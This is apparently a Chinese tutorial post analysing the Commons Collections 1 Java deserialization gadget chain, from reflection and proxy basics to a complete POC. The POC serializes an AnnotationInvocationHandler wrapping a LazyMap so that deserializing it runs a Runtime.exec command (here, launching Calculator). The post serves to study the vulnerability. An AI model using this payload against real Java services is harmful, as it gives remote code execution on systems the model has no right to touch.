CommonsCollection1 1、前置知识 1.1、反射基础知识 1.1.1、 对象与类的基础知识

类（class），对象（object） 对象是类的实例化，中华田园犬（object）是狗(class)的实例化 类是对象的抽象化，狗(class)是中华田园犬（object）抽象化

1.1.2、反射获取对象过程 【CommonCollection1反序列化学系】1、我们可以通过以下三种方法获取Class对象类型

Class classType = String.class; Class classType = new String().getClass(); /*new String()是一个对象*/ Class classType = Class.forName("java.lang.String");

2、在Class类中包含着很多方法函数，其中在本章节使用最频繁的就是

getName()：获得类的完整名字。 getFields()：获得类的public类型的属性。getDeclaredFields()：获得类的所有属性。getMethods()：获得类的public类型的方法。getDeclaredMethods()：获得类的所有方法。getMethod(String name, Class[] parameterTypes)：获得类的特定方法，name参数指定方法的名字，parameterTypes参数指定方法的参数类型。getConstrutors()：获得类的public类型的构造方法。getConstrutor(Class[] parameterTypes)：获得类的特定构造方法，parameterTypes参数指定构造方法的参数类型。newInstance()：通过类的不带参数的构造方法创建这个类的一个对象。

2、通过默认构造方法创建一个新的对象，即先调用Class类的getConstructor()方法获得一个Constructor对象，它代表默认的构造方法，然后调用Constructor对象的newInstance()方法构造一个实例。（此处new Class[]{}、new Object[]{}表示空参数，既调用默认的无参数的构造方法）

Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});

3、获得对象的所有属性，即通过Class类的getDeclaredFields()方法返回类的所有属性，包括public、protected、default和private访问级别的属性

Field fields[]=classType.getDeclaredFields();

4、获得每个属性相应的get/set方法，然后执行这些方法，把原来的对象属性拷贝到新的对象中。
这里我们可以写一个InvokeTester的类，然后运用反射机制调用一个InvokeTester对象的add()方法（自定义方法），如add()方法的两个参数为int类型，那么获取表示add()方法的Method对象代码如下：

Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});

5、反射调用addMethod方法

//获得和属性对应的getXXX()方法 Method getMethod=classType.getMethod(getMethodName,new Class[]{}); //获得和属性对应的setXXX()方法 Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()}); //具体实施（第四点描述） Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class}); //调用原对象的getXXX()方法 Object value=https://www.it610.com/article/getMethod.invoke(object,new Object[]{}); System.out.println(fieldName+":"+value); //调用拷贝对象的setXXX()方法 setMethod.invoke(objectCopy,new Object[]{value}); addMethod.invoke()

6、具体一个小例子
首先有个Users类，他有属性名字(name)、年龄(age)和会算加法()

public class Users { String name; int age; public String getName() { return name; }public void setName(String name) { this.name = name; }public int getAge() { return age; }public void setAge(int age) { this.age = age; }public int add(int num1, int num2){ int addnum= num1+num2; return addnum; }}

那么我们反射获取他的某一个user对象的名字、年龄和加法
第一反射获取多参数的方法add

import java.lang.reflect.Method; public class Test { public static void main(String[] args) throws Exception { //反射获取类对象类型，这里获取的是Users类对象类型 Class users = Class.forName("Users"); //类对象类型实例化,，即先调用Class类的getConstructor()方法获得一个Constructor对象，它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。（此处new Class[]{}、new Object[]{}表示空参数，既调用默认的无参数的构造方法） Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{}); //反射获取指定的类对象类型的add方法,add方法需要两个参数，参数类型为int型，getMethod类型的第二个参数必须是Class对象类型 Method add = users.getMethod("add", new Class[]{int.class, int.class}); //add方法反射调用(invoke)user对象，并且传入add方法的俩个参数值，invoke方法的参数必须是object对象 Object num = add.invoke(user, new Object[]{1, 2}); System.out.println((Integer) num); } }

反射调用单参数的方法setName和无参数方法getName

import java.lang.reflect.Method; public class Test { public static void main(String[] args) throws Exception { /* //反射获取类对象类型，这里获取的是Users类对象类型 Class users = Class.forName("Users"); //类对象类型实例化,，即先调用Class类的getConstructor()方法获得一个Constructor对象，它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。（此处new Class[]{}、new Object[]{}表示空参数，既调用默认的无参数的构造方法） Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{}); //反射获取指定的类对象类型的add方法,add方法需要两个参数，参数类型为int型，getMethod类型的第二个参数必须是Class对象类型 Method add = users.getMethod("add", new Class[]{int.class, int.class}); //add方法反射调用(invoke)user对象，并且传入add方法的俩个参数值，invoke方法的参数必须是object对象 Object num = add.invoke(user, new Object[]{1, 2}); System.out.println((Integer) num); */Class users = Class.forName("Users"); Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{}); //反射获取Users类的setName()方法 ,需要传入setName的所需的参数类型，此处为String.class类型 Method setName = users.getMethod("setName", new Class[]{String.class}); //反射设置zhangsan对象实例的名字为张三 setName.invoke(zhangsan,new Object[]{"张三"}); //反射获取Users类的getName()方法，需要传入getName的参数类型，此处为空 Method getName = users.getMethod("getName", new Class[]{}); //反射获取zhangsan对象实例的名字 Object Name = getName.invoke(zhangsan); System.out.println((String) Name); } }

1.1.3、反射的基本用法 反射又有很多琐碎的点，这里只讲它的基本用法如果当前拥有一个对象的话，那么可以动态的调用该对象的所有方法

// Step1 获取Class对象 Class cls = obj.getClass(); // Step2 获取想要的方法对象 Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type}); // Step3 调用方法 mth.invoke(obj,new Object[]{arg1,arg2})

这里注意的是getMethod的第二个参数为Class数组，Class的概念我们之前也提到过。
1.2、动态代理知识 动态代理需要理解反射包的三个类
反射包 java.lang.reflect 的三个类：InvocationHandler,Method,Proxy
InvocationHandler
这个类其实就一个方法就是invoke方法，该方法用代理商在不改变代理对象的情况，需要添加的功能
参数：
Object proxy：jdk的代理类，无需赋值
Method method：代理对象的方法，jdk提供的Method的对象
Object[] args：代理对象的方法执行的参数

package java.lang.reflect; public interface InvocationHandler {public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; }

Method
Method方法主要在InvocationHandler的invoke方法中实现，表示执行代理对象的方法
Method.invoke(目标的对象，方法的参数)

文章图片

Proxy
newProxyInstance的方法的三个参数为
ClassLoader loader：类加载器，负责向内存中加载对象的。使用反射获取的
Class[] interfaces ：目标对象实现的接口，也是反射获取的
InvocationHandler h：我们自己写的，代理需要完成的功能

文章图片

举个具体里的例子（Usb）
首先实现一个统一的买usb的接口，里面有一个卖usb的方法

public interface Usbsell { float sell(int acount); }

金士顿厂家要卖usb，所以继承这个接口,他买85元

package com.akkacloud.factory; import com.akkacloud.service.Usbsell; public class UsbKingFactor implements Usbsell {@Override public float sell(int acount) { return 85.0f; } }

我们是一个商店，去买我们要赚差价
第一种写法，直接在主函数中创建我们的InvocationHandler接口

package com.akkacloud; import com.akkacloud.factory.UsbKingFactor; import com.akkacloud.handler.MysellHandler; import com.akkacloud.service.Usbsell; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class MainShop { public static void main(String[] args) { //创建代理对象，使用proxy //创建目标类对象，就是厂家 UsbKingFactor usbKingFactor = new UsbKingFactor(); //创建代理对象 Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(), usbKingFactor.getClass().getInterfaces(), new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object res = method.invoke(usbKingFactor, args); res= (float)res+35; return res; } } ); //通过代理对象执行sell float price = proxy.sell(1); System.out.println("通过代理的价格："+price); } }

第二种我们先实现InvocationHandler接口，再写主函数
首先我们要实现我们的InvocationHandler接口，我们实施加价25块

package com.akkacloud.handler; import java.io.File; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class MysellHandler implements InvocationHandler{private Object target; public MysellHandler(Object target) { this.target = target; }@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { //想厂家订购1个商品 //float price = factory.sell(1); Object res = method.invoke(target, args); //中间商赚差价 //price = price+25; if(res!=null){ float price = (float) res; price=price+25; res =price; }return res; } }

然后实现我们的商店代码

package com.akkacloud; import com.akkacloud.factory.UsbKingFactor; import com.akkacloud.handler.MysellHandler; import com.akkacloud.service.Usbsell; import java.lang.reflect.Proxy; public class MainShop { public static void main(String[] args) { //创建代理对象，使用proxy //创建目标类对象，就是厂家 UsbKingFactor usbKingFactor = new UsbKingFactor(); //创建invocationHandler对象，传入代理商的厂家为usbking MysellHandler mysellHandler = new MysellHandler(usbKingFactor); //创建代理对象 Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(), usbKingFactor.getClass().getInterfaces(),mysellHandler ); //通过代理对象执行sell float price = proxy.sell(1); System.out.println("通过代理的价格："+price); } }

执行结果

文章图片

1.3、调试所需类相关的知识和作用 Transformer transformer的是Commons Collections包中提供的一个接口

package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }

ConstantTransformer ConstantTransformer是Transformer的实现类
构造方法中实现对iConstant赋值，transform方法用于获取iConstant的值

public class ConstantTransformer implements Transformer, Serializable { static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); private final Object iConstant; public static Transformer getInstance(Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); }public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }public Object transform(Object input) { return this.iConstant; }public Object getConstant() { return this.iConstant; } }

InvokerTransformer InvokerTransformer也是Transform的实现类
构造方法里传入Strin iMethodName(字符串类型的函数名)、Class[] iParamTypes(函数的参数类型）)、Object[] iArgs(函数的参数列表)
transform方法是用Java反射机制来进行执行任意代码

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

ChainedTransformer ChainedTransformer也是Transformer的实现类
构造方法是把数组类型的Transformer[] 赋值给iTransformers
transform方法是通过传入Trasnformer[]数组既iTransformers，对传入的数组进行遍历并且调用数组对象的transform方法。

文章图片

Map Transform来执行命令需要绑定到Map上，抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类，实现类有很多，比如LazyMap、TransformedMap等，这些类都有一个decorate()方法，用于将上述的Transformer实现类绑定到Map上，当对Map进行一些操作时，会自动触发Transformer实现类的tranform()方法，不同的Map类型有不同的触发规则
TransformedMap Transformer的实现类分别绑定到map的key和value上，当map的key或value被修改时，会调用对应Transformer实现类的transform()方法。
通过decorate方法去调用构造方法,把map、keyTransformer、valueTransformer传入，当调用put的方法修改key或者value时，就会调用transform()
我们可以把chainedtransformer绑定到一个TransformedMap上，当此map的key或value发生改变时，就会自动触发chainedtransformer的transform()方法

//构造方法 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } ...... //改变key时、调用transform protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } ...... //改变value是，调用transform protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } .....//put方法用来修改 public Object put(Object key, Object value) { key = this.transformKey(key); value = https://www.it610.com/article/this.transformValue(value); return this.getMap().put(key, value); }

LazyMap lazyMap也是Map的实现类

//构造方法 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }//对传入的map和Transformer实例化 protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = FactoryTransformer.getInstance(factory); } } //调用get时，当key不存在时，调用Transformer实现类的transform()方法 public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = https://www.it610.com/article/this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }

当调用tmpmap.get(key)的key不存在时，会调用TestTransformer的transform()方法
这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

2、漏洞复现 由于前面分析了CC1的利用链，但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后，对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollection1 { public static void main(String[] args) { //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); //outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式 onlyElement.setValue("foobar"); } }

文章图片

3、漏洞分析 transformers
先分析第一段

Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers);

首先new一个Transformer数组

Transformer[] transformers = new Transformer[] {}

然后通过ChainedTransformer类的transform()方法，循环获取反射获取指定的命令执行函数函数

public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }return object; }

首先看第一个类ConstantTransformer运行transform()方法后，返回的是Runtime.Class

文章图片

我们通过查看ConstantTransformer方法可知，Runtime.Class传入后通过构造方法赋值给iConstant，然后return这个iConstant赋值给object

public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }public Object transform(Object input) { return this.iConstant; }

我们看第二类InvokerTransformer，其实这个类翻译过来就是反射转换，把Runtime.Class作为参数值传给InvokerTransformer的transform方法，就是下面的式子

object=InvokerTransformer.transform(Runtime.Class)

然后我们进入到InvokerTransformer.transform()方法查看，确实传入的是Runtime().Class，

文章图片

首先我们来继续看InvokerTransformer的构造方法，第一个参数的意思是函数名，第二个参数的意思是参数类型，第三个是参数，

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

再看InvokerTransformer的transform方法，其实就是反射调用构造方法中赋值的函数

public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

我们回到我们刚才调试的点,这三个参数分别是如下，函数名是getMethod,

文章图片

getMethod.invoke(Runtime.Class,String.Class,getRunTime），反射调用后就是Runtime.getRuntime(),继续传入object

文章图片

第三次传入的是object是Runtime.getRuntime()，函数名是invoke，参数值是null，invoke.invoke(Runtime.getRuntime(),Object.Class,null)，由于Runtime是单例模式，需要执行他的getRuntime方法来获取Runtime类的实例化对象，所以这里用Invoke反射执行了getRuntime所以就获得了Runtime的实例对象

文章图片

第四次传入的object是Runtime的实例化对象,函数名是exec()，参数是"open /System/Application/Calculator.app",就是执行了Runtime.getRuntime().exec().

文章图片

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法，然后通过反射执行invoke才能去调用getRuntime方法，这样得到一个Runtime对象，然后再去调用Runtime对象的exec方法去达到命令执行。

Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");

上面那么多其实最简单的方法是自己先写一遍反射执行Runtime的Rce，如：

Class runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime", null); //getMethod获取getRuntime方法，参数为空 Runtime runtime = (Runtime) getRuntime.invoke(null, null); //反射执行getRuntime方法获取Runtime实例，invoke方法需要两个参数，执行的对象和执行的的参数，因为getRuntime为static方法，反射调用时执行的对象直接传null就行。Method exec = runtimeClass.getMethod("exec", String.class); //反射获取Runtime的exec方法 exec.invoke(runtime, "open /System/Applications/Calculator.app"); //反射执行

然后我们再通过ConstantTransformer和InvokerTransformer的transform方法的规则实现一下就很好理解了

Object runtime= new ConstantTransformer(Runtime.class).transform(null); Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

可以看出都是调用transform方法，且输入的参数为上一个参数的结果
加入ConstantTransformer去循环调用transform

Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null);

文章图片

第一段ChainedTransformer就是为了执行这段命令，但是我们想在需要去ChainedTransformer.transform方法
TransformedMap类
前置知识我们说过，通过调用TransformedMap.decorate()，再调用TransformedMap的构造方法赋值参数，参数分别是Map、更换的key值、更换的value值，我们通过put方法调用transformKey、transformValue方法来更换Map的key和value，而这时候最重要的是transformValue、transformKey方法调用了transform方法，也就是说我们把ChainedTransformer传给decorate方法的valueTransformer，当调用put方法时就可以调用ChainedTransformer的transform方法了。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); }protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } public Object put(Object key, Object value) { key = this.transformKey(key); value = https://www.it610.com/article/this.transformValue(value); return this.getMap().put(key, value); }

漏洞利用

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollection1 { public static void main(String[] args) { //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("1","1"); ////触发漏洞 //Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); ////outerMap后一串东西，其实就是获取这个map的第一个键值对（value,value）；然后转化成Map.Entry形式，这是map的键值对数据格式 //onlyElement.setValue("foobar"); } }

文章图片

在这里我们是使用了代码直接的让他去弹出一个计算器，但是在实际运用中，需要将该代码转换为序列化流。在实际运用中需要我们需要找到?个类，它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱，下篇文章重新来完整的调试一下。
LazyMap
在分析前先来看看LazyMap这个类，这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法，而LazyMap是在get方法去调用方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable { private static final long serialVersionUID = 7990956402564206740L; protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = https://www.it610.com/article/this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } } }

当调用get(key)的key不存在时，会调用transformerChain的transform()方法。
修改一下poc，使用LazyMap的get方法来触发命令执行试试

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollection1 { public static void main(String[] args) { //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链Map tmpmap = LazyMap.decorate(innerMap, transformerChain); tmpmap.get("1"); } }

AnnotationInvocationHandler
AnnotationInvocationHandler该类是用来处理注解的。
查看AnnotationInvocationHandler类的构造函数有两个参数，第?个参数是?个Annotation类类型参数，第二个是map类型参数
Annotation类类型参数传给var1，map类型传给类var1==》TransformedMap.decorate(innerMap,transformerChain)

AnnotationInvocationHandler(Class var1, Map var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }

利用链主要用到了AnnotationInvocationHandler的invoke方法和readObject方法
invoke方法主要为三个参数(对象类型，方法类型，对象数组)

public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } }switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }return var6; } } } }

重要式子
memberValues就是构造函数赋值的，存储这我们的恶意的map

Object var6 = this.memberValues.get(var4)

就是AnnotationInvocationHandler调用invoke方法，调用Lazymap的get方法，调用transform方法
readObject方法
我们看到第四行

Map var4 = (Map)var2.get("memberValues", (Object)null)

memberValues.的值赋值给var4
var4调用了entrySet().iterator()方法

var4.entrySet().iterator()

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type", (Object)null); Map var4 = (Map)var2.get("memberValues", (Object)null); AnnotationType var5 = null; try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap(); String var10; Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Entry var9 = (Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null; Class var12 = (Class)var6.get(var10); if (var12 != null) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); } } }AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }

POC

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CommonCollection1 { public static void main(String[] args) throws Exception { //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"}) }; //循环反射调用InvokerTransformer.transform()方法执行Rce Transformer transformerChain = new ChainedTransformer(transformers); //通过LazyMap的get方法调用ChainedTransformer.transform()方法 Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); //反射创建AnnotationInvocationHandler方法，把恶意的LazyMap赋值给InvocationHandler，因为AnnotationInvocationHandler实现了InvocationHandler接口 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt")); oos.writeObject(handler); }} }

我们先来看第一段
反射创建AnnotationInvocationHandler类，实例化对象时把Retention.class、 outerMap传给InvocationHandler接口，因为AnnotationInvocationHandler实现了InvocationHandler方法

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

第二段动态代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

• 第一个参数：People.getClass().getClassLoader()，使用handler对象的
  classloader对象来加载我们的代理对象
• 第二个参数：Person.getClass().getInterfaces()，这里为代理类提供的接口 是真实对象实现的接口，这样代理对象就能像真实对象一样调用接口中的所有方法
• 第三个参数：我们将代理对象关联到上面的InvocationHandler对象上

那么在这段poc的执行中执行反序列化的时候，服务器读取了我们的恶意序列化文件，把他反序列化，AnnotationInvocationHandler重写了readObject()方法，所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数，我们是使用反射的方式对他进行创建传入的是proxyMap。
因为proxyMap是我们的代理对象，所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性，代理对象调用任意方法，调用处理器中的invoke()方法都执行一次。
执行AnnotationInvocationHandler的invoke()方法后又会调用get方法，再次回到刚刚的地方了。
LazyMap 的get方法方法里面的this.factory为Transformer[]数组，这时候去调用就会执行transform方法，而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法，导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器
利用链

